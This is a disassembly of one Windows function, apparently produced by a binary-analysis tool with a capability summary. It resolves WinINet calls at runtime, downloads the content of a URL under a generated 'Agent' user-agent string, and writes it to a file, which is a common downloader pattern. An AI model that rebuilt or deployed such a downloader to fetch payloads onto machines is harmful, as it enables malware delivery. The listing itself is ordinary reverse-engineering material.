Function at 0x401cf0
Capabilities:
Link many functions at runtime
Resolve function by parsing pe exports
Write file on windows

Disassembly:
mov eax, 0x10068
call fcn.00402ad0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebp
push esi
push edi
push str.WININET.dll
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.InternetGetConnectedState
push esi
call ebp
lea ecx, [esp + 0x20]
push 0
push ecx
call eax
test eax, eax
jne 0x401d3c
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10068
ret
call dword [sym.imp.WINMM.dll_timeGetTime]
push eax
lea edx, [esp + 0x3c]
push str.Agent_ld
push edx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
push str.WININET.dll
call ebx
mov edi, eax
push str.InternetOpenA
push edi
call ebp
mov cl, byte [esp + 0x20]
push 0
test cl, 4
push 0
push 0
jne 0x401d86
lea ecx, [esp + 0x44]
push 4
push ecx
call eax
mov esi, eax
mov dword [esp + 0x14], esi
jmp 0x401d95
lea edx, [esp + 0x44]
push 0
push edx
call eax
mov dword [esp + 0x14], eax
mov esi, eax
test esi, esi
jne 0x401dad
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10068
ret
mov eax, dword [str.Accept:___r_n_r_n]
mov ecx, dword [0x40482c]
mov edx, dword [0x404830]
mov dword [esp + 0x28], eax
mov eax, dword [0x404834]
push str.WININET.dll
mov dword [esp + 0x30], ecx
mov dword [esp + 0x34], edx
mov dword [esp + 0x38], eax
call ebx
push str.InternetOpenUrlA
push eax
mov dword [esp + 0x18], eax
call ebp
mov edx, eax
lea edi, [esp + 0x28]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x1007c]
push 0
not ecx
dec ecx
push 0x84000100
push ecx
lea ecx, [esp + 0x34]
push ecx
push eax
push esi
call edx
mov esi, eax
test esi, esi
jne 0x401e2c
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10068
ret
mov edx, dword [esp + 0x10080]
push 0x404810
push edx
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [esp + 0x10], eax
test eax, eax
jne 0x401e54
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10068
ret
push str.WININET.dll
mov dword [esp + 0x1c], 0
mov dword [esp + 0x28], 4
call ebx
mov edi, eax
push str.HttpQueryInfoA
push edi
call ebp
lea ecx, [esp + 0x24]
push 0
lea edx, [esp + 0x1c]
push ecx
push edx
push 0x20000005
push esi
call eax
test eax, eax
jne 0x401e9c
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [esp + 0x18], 0
push str.WININET.dll
call ebx
mov edi, eax
push str.InternetReadFile
push edi
call ebp
push str.InternetCloseHandle
push edi
mov ebx, eax
call ebp
mov ebp, eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x7c]
push 0x4000
push ecx
push esi
call ebx
test eax, eax
je 0x401f05
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
test eax, eax
push edx
je 0x401f26
push 1
push eax
lea eax, [esp + 0x84]
push eax
call sub.MSVCRT.dll_fwrite
add esp, 0x10
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x78]
push ecx
push 0x4000
push edx
push esi
call ebx
test eax, eax
jne 0x401ecf
mov eax, dword [esp + 0x14]
push eax
call ebp
mov ecx, dword [esp + 0x10]
push ecx
call sub.MSVCRT.dll_fclose
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10068
ret
call sub.MSVCRT.dll_fclose
mov eax, dword [esp + 0x18]
add esp, 4
push eax
call ebp
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10068
ret